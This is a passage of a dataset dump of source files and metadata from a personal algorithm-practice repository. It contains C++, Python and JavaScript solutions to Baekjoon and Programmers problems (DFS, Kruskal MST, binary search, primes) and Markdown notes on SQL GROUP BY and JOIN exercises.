\"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1850번: 최대공약수\\nDATE: 2022-01-24\\nEuclidean algorithm\\n*/\\n#include <iostream>\\nusing namespace std;\\n\\nlong long gcd(long long a, long long b) {\\n return b ? gcd(b, a % b) : a;\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n long long a, b;\\n cin >> a >> b;\\n \\n for(int i = 0 ; i < gcd(a, b) ; i++) cout << 1;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.44692736864089966,\n \"alphanum_fraction\": 0.48603352904319763,\n \"avg_line_length\": 16.071428298950195,\n \"blob_id\": \"97c27f87b866ed3b5e3fa049c02b09618f00df95\",\n \"content_id\": \"01dab643e753a95108f21522df178a0c5d0ea95f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 732,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 42,\n \"path\": \"/BOJ/BFS_DFS/11725.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 11725번: 트리의 부모 찾기\\nDATE: 2022-02-02\\nDFS\\n*/\\n#include <iostream>\\n#include <vector>\\n#define MAX 100001\\nusing namespace std;\\n\\nvector<int> graph[MAX];\\nint n;\\nint arr[MAX];\\n\\nvoid dfs(int node) {\\n for(int i = 0 ; i < graph[node].size() ; i++) {\\n int nextNode = graph[node][i];\\n\\n if(!arr[nextNode]) {\\n arr[nextNode] = node;\\n dfs(nextNode);\\n }\\n }\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int a, b;\\n cin >> n;\\n\\n for(int i = 0 ; i < n - 1 ; i++) {\\n cin >> a >> b; \\n graph[a].push_back(b);\\n graph[b].push_back(a);\\n }\\n\\n dfs(1);\\n\\n for(int i = 2 ; i <= n ; i++) cout << arr[i] << '\\\\n';\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5020464062690735,\n \"alphanum_fraction\": 0.5279672741889954,\n \"avg_line_length\": 15.681818008422852,\n \"blob_id\": \"9d0d12136cb9fb23aad5c185c1b6b9a41b72d38d\",\n \"content_id\": \"4e2242cb0bbfdd6ac48468332c7385b2890f1a95\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 747,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 44,\n \"path\": \"/BOJ/Mathematics/1747.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1747번: 소수&팰린드롬\\n2021-12-26\\n*/\\n#include <iostream>\\n#include <math.h>\\n#include <algorithm>\\nusing namespace std;\\n\\nbool isPrime(int num) {\\n if (num < 2) return false;\\n\\n for(int i = 2 ; i <= sqrt(num) ; i++) {\\n if(num % i == 0) return false;\\n }\\n\\n return true;\\n}\\n\\nbool checkPalindrome(string str) {\\n string front, back;\\n\\n front = str;\\n reverse(str.begin(), str.end());\\n back = str;\\n\\n if(front == back) return true;\\n else return false;\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n;\\n cin >> n;\\n\\n for(int i = n ; ; i++) {\\n if(isPrime(i) && checkPalindrome(to_string(i))){\\n cout << i;\\n break;\\n }\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.6327160596847534,\n \"alphanum_fraction\": 0.6800411343574524,\n \"avg_line_length\": 20.600000381469727,\n \"blob_id\": \"ecf8f77b94fe6f40e0db2f72c91e1eb86edff2f9\",\n \"content_id\": \"3ce3dbc6d954315120a09119037e811a73b29482\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 1038,\n \"license_type\": \"no_license\",\n \"max_line_length\": 109,\n \"num_lines\": 45,\n \"path\": \"/programmers/SQL/GROUP BY.md\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# GROUP BY\\n\\n**[1. 고양이와 개는 몇 마리 있을까 (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59040)**\\n\\n```sql\\nSELECT ANIMAL_TYPE, COUNT(ANIMAL_TYPE) as COUNT\\nFROM ANIMAL_INS\\nGROUP BY ANIMAL_TYPE\\nORDER BY ANIMAL_TYPE\\n```\\n\\n<br/>\\n\\n**[2. 동명 동물 수 찾기 (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59041)**\\n\\n```sql\\nSELECT NAME, COUNT(NAME) as COUNT\\nFROM ANIMAL_INS\\nGROUP BY NAME\\nHAVING COUNT(NAME) >= 2\\nORDER BY NAME\\n```\\n\\n<br/>\\n\\n**[3. 입양 시각 구하기(1) (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59412)**\\n\\n```sql\\nSELECT HOUR(DATETIME) as HOUR, COUNT(HOUR(DATETIME)) as COUNT\\nFROM ANIMAL_OUTS\\nGROUP BY HOUR(DATETIME)\\nHAVING HOUR > 8 and HOUR < 20\\nORDER BY HOUR(DATETIME)\\n```\\n\\n<br/>\\n\\n**[4. 입양 시각 구하기(2) (Level 4)](https://programmers.co.kr/learn/courses/30/lessons/59413)**\\n\\n```sql\\nSET @HOUR := -1;\\nSELECT (@HOUR := @HOUR + 1) AS HOUR, (SELECT COUNT(*) FROM ANIMAL_OUTS WHERE HOUR(DATETIME) = @HOUR) AS COUNT\\nFROM ANIMAL_OUTS\\nWHERE @HOUR < 23\\n```\\n\"\n },\n {\n \"alpha_fraction\": 0.36328125,\n \"alphanum_fraction\": 0.40234375,\n \"avg_line_length\": 17.981481552124023,\n \"blob_id\": \"5a147d7d4679caaa5789d9d3157e64d072eaf219\",\n \"content_id\": \"31beab9809d508f20b66c469b5f631ae7408266a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1030,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 54,\n \"path\": \"/BOJ/BFS_DFS/1926.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1926번: 그림\\nDATE: 2022-02-03\\nDFS\\n*/\\n#include <iostream>\\n#include <algorithm>\\n#define MAX 501\\nusing namespace std;\\n\\nint n, m, maxVal = 0, cnt = 0;\\nint arr[MAX][MAX];\\nbool visited[MAX][MAX];\\nint dx[4] = {-1, 0, 1, 0};\\nint dy[4] = {0, 1, 0, -1};\\n\\nvoid dfs(int x, int y) {\\n visited[x][y] = true;\\n cnt++;\\n\\n for(int i = 0 ; i < 4 ; i++){\\n int nx = x + dx[i];\\n int ny = y + dy[i];\\n\\n if(arr[nx][ny] && !visited[nx][ny]) dfs(nx, ny);\\n }\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int num = 0;\\n cin >> n >> m;\\n\\n for(int i = 0 ; i < n ; i++) {\\n for(int j = 0 ; j < m ; j++) {\\n cin >> arr[i][j];\\n }\\n }\\n\\n for(int i = 0 ; i < n ; i++) {\\n for(int j = 0 ; j < m ; j++) {\\n if(arr[i][j] == 1 && !visited[i][j]) {\\n dfs(i, j);\\n num++;\\n maxVal = max(maxVal, cnt);\\n cnt = 0;\\n }\\n }\\n }\\n\\n cout << num << '\\\\n' << maxVal;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4854961931705475,\n \"alphanum_fraction\": 0.5297709703445435,\n \"avg_line_length\": 13.909090995788574,\n \"blob_id\": \"6e7e683b5241ff9c6293888fe36958940937a3e6\",\n \"content_id\": \"29ba31e98a8496e3325baa1bed15c01e96f90286\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 715,\n \"license_type\": \"no_license\",\n \"max_line_length\": 70,\n \"num_lines\": 44,\n \"path\": \"/BOJ/Greedy/15903.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 15903번: 카드 합체 놀이\\nDATE: 2021-01-10\\n*/\\n#include <iostream>\\n#include <queue>\\nusing namespace std;\\n\\nint main() {\\n\\tios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n\\n\\tint n, m, a;\\n\\tlong long num1, num2, sum = 0;\\n\\tpriority_queue<long long, vector <long long>, greater <long long>>pq;\\n\\t\\n\\tcin >> n >> m;\\n\\n\\tfor (int i = 0; i < n; i++) {\\n\\t\\tcin >> a;\\n\\t\\tpq.push(a);\\n\\t}\\n\\t\\n\\tfor (int j = 0; j < m; j++) {\\n\\t\\t//가장 작은 두 값\\n\\t\\tnum1 = pq.top();\\n\\t\\tpq.pop();\\n\\t\\tnum2 = pq.top();\\n\\t\\tpq.pop();\\n\\n\\t\\t//더한 값으로 덮어쓰기\\n\\t\\tpq.push(num1 + num2);\\n\\t\\tpq.push(num1 + num2);\\n\\t}\\n\\n\\t//모든 카드 값 더하기\\n\\tfor (int k = 0; k < n; k++) {\\n\\t\\tsum += pq.top();\\n\\t\\tpq.pop();\\n\\t}\\n\\n\\tcout << sum;\\n\\n\\treturn 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4328097701072693,\n \"alphanum_fraction\": 0.47294938564300537,\n \"avg_line_length\": 14.94444465637207,\n \"blob_id\": \"14864c3f2e1299eb2a1688cb43232729b098a4da\",\n \"content_id\": \"3c1b51fa0649192d42d5c4d5f87142d9891b287f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 577,\n \"license_type\": \"no_license\",\n \"max_line_length\": 59,\n \"num_lines\": 36,\n \"path\": \"/BOJ/BFS_DFS/15652.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 15652번: N과 M (4)\\n2022-01-06\\nBacktracking\\n*/\\n#include <iostream>\\n#define MAX 9\\nusing namespace std;\\n\\nint n, m;\\nint arr[MAX];\\nbool visited[MAX];\\n\\nvoid dfs(int num, int cnt){\\n if(cnt == m) {\\n for(int i = 0 ; i < m ; i++) cout << arr[i] << \\\" \\\";\\n cout << '\\\\n';\\n return;\\n }\\n\\n for(int i = num ; i <= n ; i++){\\n arr[cnt] = i;\\n visited[i] = true;\\n dfs(i, cnt + 1);\\n visited[i] = false;\\n }\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n cin >> n >> m;\\n\\n dfs(1, 0);\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.47894737124443054,\n \"alphanum_fraction\": 0.5105262994766235,\n \"avg_line_length\": 16.31818199157715,\n \"blob_id\": \"fd47cb694e93e865f1a5e0806847657a5dfa5ac8\",\n \"content_id\": \"c1055e49b17d10f838b1e80bb3346f4a22602686\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 384,\n \"license_type\": \"no_license\",\n \"max_line_length\": 41,\n \"num_lines\": 22,\n \"path\": \"/programmers/Level 1/budget.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 1: 예산\\ndate: 2022-03-30\\n*/\\n#include <string>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nint solution(vector<int> d, int budget) {\\n int answer = 0, sum = 0;\\n \\n sort(d.begin(), d.end());\\n \\n for(int i = 0 ; i < d.size() ; i++) {\\n if((sum += d[i]) <= budget) {\\n answer++;\\n }\\n }\\n \\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.43449297547340393,\n \"alphanum_fraction\": 0.4581791162490845,\n \"avg_line_length\": 19.484848022460938,\n \"blob_id\": \"66227b6c6e3e502252790d4a8c7ed119efc7ade7\",\n \"content_id\": \"e091179d31774144d650a9a82bf8b756d27d0ec6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1369,\n \"license_type\": \"no_license\",\n \"max_line_length\": 59,\n \"num_lines\": 66,\n \"path\": \"/BOJ/Brute Force/1339.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 1339번: 단어 수학\\nDATE: 2021-07-18\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nchar alpha[256];\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \\n vector<string> word;\\n vector<char> ch;\\n string str;\\n int n, maximum=-1;\\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i++){\\n cin >> str;\\n word.push_back(str);\\n }\\n\\n for(int i = 0 ; i < word.size() ; i++){\\n cin >> word[i];\\n for(int j = 0 ; j < word[i].length() ; j++){\\n ch.push_back(word[i][j]);\\n }\\n }\\n\\n sort(ch.begin(), ch.end());\\n ch.erase(unique(ch.begin(), ch.end()), ch.end());\\n\\n vector<int> number;\\n //vector<int> number(ch.size()); => 시간 초과\\n\\n for(int i = 0 ; i < ch.size() ; i++){\\n number.push_back(9 - i);\\n }\\n\\n sort(number.begin(), number.end());\\n\\n do{\\n int sum=0;\\n\\n for(int i = 0 ; i < ch.size() ; i++){\\n alpha[ch[i]] = number[i];\\n }\\n\\n for(int i = 0 ; i < word.size() ; i++){\\n int res = 0;\\n for(int j = 0 ; j < word[i].length() ; j++){\\n res = res * 10 + alpha[word[i][j]];\\n }\\n sum += res;\\n }\\n\\n maximum = max(maximum, sum);\\n\\n }while(next_permutation(number.begin(), number.end()));\\n\\n cout << maximum;\\n\\n return 0; \\n}\"\n },\n {\n \"alpha_fraction\": 0.4552631676197052,\n \"alphanum_fraction\": 0.4894736707210541,\n \"avg_line_length\": 15.565217018127441,\n \"blob_id\": \"1ecf06b4bfe41228be55d52517f683987ee605a1\",\n \"content_id\": \"dccdf5e2d0ce2c94145c7a34036cb38b4e6cd038\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 406,\n \"license_type\": \"no_license\",\n \"max_line_length\": 34,\n \"num_lines\": 23,\n \"path\": \"/programmers/Level 1/middle_letter.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//programmers Level 1: 가운데 글자 가져오기\\n//2021-10-08\\n#include <string>\\n#include <vector>\\n\\nusing namespace std;\\n\\nstring solution(string s) {\\n string answer = \\\"\\\";\\n int idx = s.length() / 2;\\n \\n if(s.length() % 2 == 0) {\\n //짝수\\n answer += s[idx - 1];\\n answer += s[idx];\\n }\\n else {\\n //홀수\\n answer += s[idx];\\n }\\n \\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.34927114844322205,\n \"alphanum_fraction\": 0.3749271035194397,\n \"avg_line_length\": 27.131147384643555,\n \"blob_id\": \"180ffdcd01de3c236d5a5daddc37c075456786ce\",\n \"content_id\": \"316088d903bbe72b15a9e7c6d61a6721a00a7aac\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1715,\n \"license_type\": \"no_license\",\n \"max_line_length\": 79,\n \"num_lines\": 61,\n \"path\": \"/programmers/Level 1/push_keypad.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//programmers Level 1 : Push keypad\\n//2020 KAKAO Internship\\n//2021-04-28\\n#include <string>\\n#include <vector>\\n#include <cmath>\\n\\nusing namespace std;\\n\\nstring solution(vector<int> numbers, string hand) {\\n string answer = \\\"\\\";\\n int left_x=3, left_y=0, right_x=3, right_y=2;\\n \\n for(int i = 0 ; i < numbers.size() ; i++){\\n if(numbers[i] == 1 || numbers[i] == 4 || numbers[i] == 7){ //1 4 7\\n answer += 'L';\\n left_x = numbers[i] / 3;\\n left_y = 0;\\n }\\n else if(numbers[i] == 3 || numbers[i] == 6 || numbers[i] == 9){ //3 6 9\\n answer += 'R';\\n right_x = numbers[i] / 3 - 1;\\n right_y = 2;\\n }\\n else{ //2 5 8 0\\n if(numbers[i] == 0)\\n numbers[i] = 11;\\n \\n int tmp_x = numbers[i] / 3;\\n int tmp_y = 1;\\n int dstLeft = abs(tmp_x-left_x) + abs(tmp_y - left_y);\\n int dstRight = abs(tmp_x-right_x) + abs(tmp_y-right_y);\\n \\n if(dstLeft < dstRight) {\\n answer += 'L';\\n left_x = tmp_x;\\n left_y = tmp_y;\\n }\\n else if(dstLeft > dstRight){\\n answer += 'R';\\n right_x = tmp_x;\\n right_y = tmp_y;\\n }\\n else{\\n if(hand == \\\"left\\\"){\\n answer += 'L';\\n left_x = tmp_x;\\n left_y = tmp_y;\\n }\\n else if(hand == \\\"right\\\"){\\n answer += 'R';\\n right_x = tmp_x;\\n right_y = tmp_y;\\n }\\n }\\n \\n }\\n }\\n \\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5526315569877625,\n \"alphanum_fraction\": 0.5986841917037964,\n \"avg_line_length\": 24.41666603088379,\n \"blob_id\": \"7977d5d1d360c9a129ab409b802c5732b68e1eca\",\n \"content_id\": \"4d5e0826ad0632bedb86f38952799f543b57d2cd\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"JavaScript\",\n \"length_bytes\": 346,\n \"license_type\": \"no_license\",\n \"max_line_length\": 117,\n \"num_lines\": 12,\n \"path\": \"/programmers/Level 1/number_strings_and_english_words.js\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 1: 숫자 문자열과 영단어\\n2021 카카오 채용연계형 인턴십\\n2021-12-21\\n*/\\nfunction solution(s) {\\n const arr = [/zero/gi, /one/gi, /two/gi, /three/gi, /four/gi, /five/gi, /six/gi, /seven/gi, /eight/gi, /nine/gi];\\n\\n for (let i = 0; i < arr.length; i++) s = s.replace(arr[i], i)\\n\\n return parseInt(s);\\n}\"\n },\n {\n \"alpha_fraction\": 0.38256657123565674,\n \"alphanum_fraction\": 0.4140435755252838,\n \"avg_line_length\": 16.595745086669922,\n \"blob_id\": \"38276a9816dc2ae93c03e71ca693061c07396248\",\n \"content_id\": \"8d64cfe8849e7887e42899bbc7b3090c7cf454e7\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 838,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 47,\n \"path\": \"/BOJ/Binary Search/2805.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//BOJ 2805번: 나무 자르기\\n//2021-05-25\\n//Binary Search\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n long long n, m, max=-1;\\n cin >> n >> m;\\n\\n int arr[n];\\n for(int i = 0 ; i < n ; i++){\\n cin >> arr[i];\\n }\\n\\n sort(arr, arr+n);\\n\\n long long start = 0;\\n long long end = arr[n - 1];\\n long long mid;\\n\\n while(start <= end){\\n long long sum = 0;\\n mid = (start + end) / 2;\\n\\n for(int i = 0 ; i < n ; i++){\\n if(arr[i] - mid > 0)\\n sum += arr[i] - mid;\\n }\\n\\n if(sum >= m){\\n start = mid + 1;\\n if(mid > max)\\n max = mid;\\n }\\n else{\\n end = mid - 1;\\n }\\n\\n }\\n\\n cout << max;\\n \\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.49735450744628906,\n \"alphanum_fraction\": 0.5155790448188782,\n \"avg_line_length\": 20.54430389404297,\n \"blob_id\": \"485c46e6435e68d8c33d40d3e5fbaef8ee067501\",\n \"content_id\": \"30bdae48f9692f0bc187c7549b667479d372adff\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1715,\n \"license_type\": \"no_license\",\n \"max_line_length\": 78,\n \"num_lines\": 79,\n \"path\": \"/BOJ/MST/4386.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 4386번: 별자리 만들기\\n2021-12-29\\nKruskal Algorithm\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\n#include <math.h>\\n#define MAX 101\\nusing namespace std;\\n\\nvector<pair<double, double>> coordinate;\\nvector<pair<double, pair<double, double>>> edge;\\nint parent[MAX];\\n\\nint getParent(int x) {\\n if(parent[x] == x) return x;\\n return parent[x] = getParent(parent[x]);\\n}\\n\\nvoid unionParent(int a, int b) {\\n a = getParent(a);\\n b = getParent(b);\\n\\n if(a < b) parent[b] = a;\\n else parent[a] = b;\\n}\\n\\nint findParent(int a, int b) {\\n a = getParent(a);\\n b = getParent(b);\\n\\n if(a == b) return 1;\\n else return 0;\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \\n double ans = 0;\\n int n;\\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i++) {\\n double x, y;\\n cin >> x >> y;\\n coordinate.push_back({x, y});\\n }\\n\\n for(int i = 0 ; i < coordinate.size() ; i++) {\\n double x_a = coordinate[i].first;\\n double y_a = coordinate[i].second;\\n\\n for(int j = i + 1 ; j < coordinate.size() ; j++){\\n double x_b = coordinate[j].first;\\n double y_b = coordinate[j].second;\\n \\n double distance = sqrt(pow((x_b - x_a), 2) + pow((y_b - y_a), 2));\\n edge.push_back({distance, {i + 1, j + 1}});\\n }\\n }\\n\\n sort(edge.begin(), edge.end());\\n for(int i = 1 ; i <= n ; i++) parent[i] = i;\\n\\n for(int i = 0 ; i < edge.size() ; i++) {\\n int a = edge[i].second.first;\\n int b = edge[i].second.second;\\n double c = edge[i].first;\\n\\n if(findParent(a, b)) continue;\\n unionParent(a, b);\\n ans += c;\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.40582525730133057,\n \"alphanum_fraction\": 0.4407767057418823,\n \"avg_line_length\": 18.452829360961914,\n \"blob_id\": \"02bfb8fb89328f9deb1905581b8f6e07243afe0b\",\n \"content_id\": \"27170bde7d2be2abf0886e7e1dd8ae66344192b3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1068,\n \"license_type\": \"no_license\",\n \"max_line_length\": 70,\n \"num_lines\": 53,\n \"path\": \"/BOJ/BFS_DFS/14889.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 14889번: 스타트와 링크\\nDATE: 2022-02-04\\nBacktracking\\n*/\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint n, minVal = 1e9;\\nint arr[21][21];\\nbool visited[21]; // 팀 배정\\n\\nvoid dfs(int cnt, int num) {\\n if(cnt == n / 2) {\\n int start = 0, link = 0;\\n\\n for(int i = 1 ; i <= n ; i++) {\\n for(int j = 1 ; j <= n ; j++) {\\n if(visited[i] && visited[j]) start += arr[i][j];\\n else if(!visited[i] && !visited[j]) link += arr[i][j];\\n }\\n }\\n\\n minVal = min(minVal, abs(start - link));\\n\\n return;\\n }\\n\\n for(int i = num ; i < n ; i++) { // n을 포함하면 중복 발생\\n if(visited[i]) continue;\\n\\n visited[i] = true;\\n dfs(cnt + 1, i + 1);\\n visited[i] = false;\\n }\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \\n cin >> n;\\n\\n for(int i = 1 ; i <= n ; i++){\\n for(int j = 1 ; j <= n ; j++){\\n cin >> arr[i][j];\\n }\\n }\\n\\n dfs(0, 1); \\n cout << minVal;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.686956524848938,\n \"alphanum_fraction\": 0.7200000286102295,\n \"avg_line_length\": 25.136363983154297,\n \"blob_id\": \"49422fbb7f8c4d3ee12991b0c736c13acbd9c019\",\n \"content_id\": \"fa63b836765945cc31a701a3030b576c8aa033a2\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 1224,\n \"license_type\": \"no_license\",\n \"max_line_length\": 92,\n \"num_lines\": 44,\n \"path\": \"/programmers/SQL/JOIN.md\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# JOIN\\n\\n**[1. 없어진 기록 찾기 (Level 3)](https://programmers.co.kr/learn/courses/30/lessons/59042)**\\n\\n```sql\\nSELECT OUTS.ANIMAL_ID, OUTS.NAME\\nFROM ANIMAL_INS INS RIGHT JOIN ANIMAL_OUTS OUTS ON INS.ANIMAL_ID = OUTS.ANIMAL_ID\\nWHERE INS.ANIMAL_ID IS NULL\\nORDER BY INS.ANIMAL_ID\\n```\\n\\n<br/>\\n\\n**[2. 있었는데요 없었습니다 (Level 3)](https://programmers.co.kr/learn/courses/30/lessons/59043)**\\n\\n```sql\\nSELECT INS.ANIMAL_ID, INS.NAME\\nFROM ANIMAL_INS INS INNER JOIN ANIMAL_OUTS OUTS ON INS.ANIMAL_ID = OUTS.ANIMAL_ID\\nWHERE INS.DATETIME > OUTS.DATETIME\\nORDER BY INS.DATETIME\\n```\\n\\n<br/>\\n\\n**[3. 오랜 기간 보호한 동물(1) (Level 3)](https://programmers.co.kr/learn/courses/30/lessons/59044)**\\n\\n```sql\\nSELECT INS.NAME, INS.DATETIME\\nFROM ANIMAL_INS INS LEFT JOIN ANIMAL_OUTS OUTS ON INS.ANIMAL_ID = OUTS.ANIMAL_ID\\nWHERE OUTS.ANIMAL_ID IS NULL\\nORDER BY INS.DATETIME\\nLIMIT 3\\n```\\n\\n<br/>\\n\\n**[4. 보호소에서 중성화한 동물 (Level 4)](https://programmers.co.kr/learn/courses/30/lessons/59045)**\\n\\n```sql\\nSELECT INS.ANIMAL_ID, INS.ANIMAL_TYPE, INS.NAME\\nFROM ANIMAL_INS INS INNER JOIN ANIMAL_OUTS OUTS ON INS.ANIMAL_ID = OUTS.ANIMAL_ID\\nWHERE INS.SEX_UPON_INTAKE != OUTS.SEX_UPON_OUTCOME\\nORDER BY INS.ANIMAL_ID\\n```\\n\"\n },\n {\n \"alpha_fraction\": 0.4602609872817993,\n \"alphanum_fraction\": 0.4887307286262512,\n \"avg_line_length\": 17.755556106567383,\n \"blob_id\": \"b862c28deecb012ed3cfe98ecbe671b0376807f2\",\n \"content_id\": \"1994407b0c62a59eba2d823a3015b342750dacd3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 853,\n \"license_type\": \"no_license\",\n \"max_line_length\": 85,\n \"num_lines\": 45,\n \"path\": \"/programmers/Level 3/connecting_islands.py\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# programmers Level 3: 섬 연결하기\\n# date: 2022-06-11\\nparent = []\\n\\ndef getParent(x):\\n if x == parent[x]: \\n return x\\n parent[x] = getParent(parent[x])\\n return parent[x]\\n\\ndef findParent(a, b):\\n a = getParent(a)\\n b = getParent(b)\\n \\n if a == b: \\n return 1\\n else:\\n return 0\\n \\ndef unionParent(a, b):\\n a = getParent(a)\\n b = getParent(b)\\n \\n if a < b:\\n parent[b] = a\\n else:\\n parent[a] = b\\n\\ndef solution(n, costs):\\n answer = 0\\n \\n for i in range(n + 1):\\n parent.append(i)\\n \\n for i in range(len(costs)):\\n costs[i][0], costs[i][1], costs[i][2] = costs[i][2], costs[i][0], costs[i][1]\\n \\n costs.sort()\\n \\n for i in costs:\\n if not findParent(i[1], i[2]):\\n unionParent(i[1], i[2])\\n answer += i[0]\\n \\n return answer\"\n },\n {\n \"alpha_fraction\": 0.3847549855709076,\n \"alphanum_fraction\": 0.43557170033454895,\n \"avg_line_length\": 17.399999618530273,\n \"blob_id\": \"9375f90af62fd6f5d4c36e270ea01f1ea5f0ba16\",\n \"content_id\": \"c106686b83ed0c50338beda22d20f98d25c6821a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 577,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 30,\n \"path\": \"/BOJ/Mathematics/1929.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1929번: 소수 구하기\\nDATE: 2021-10-10\\n*/\\n#include <iostream>\\n#include <math.h>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int arr[1000001];\\n int m, n;\\n cin >> m >> n;\\n\\n for(int i = 2 ; i <= n ; i++) {\\n arr[i] = i;\\n }\\n\\n for(int i = 2 ; i <= sqrt(n) ; i++) {\\n if(arr[i] == 0) continue; //이미 소수가 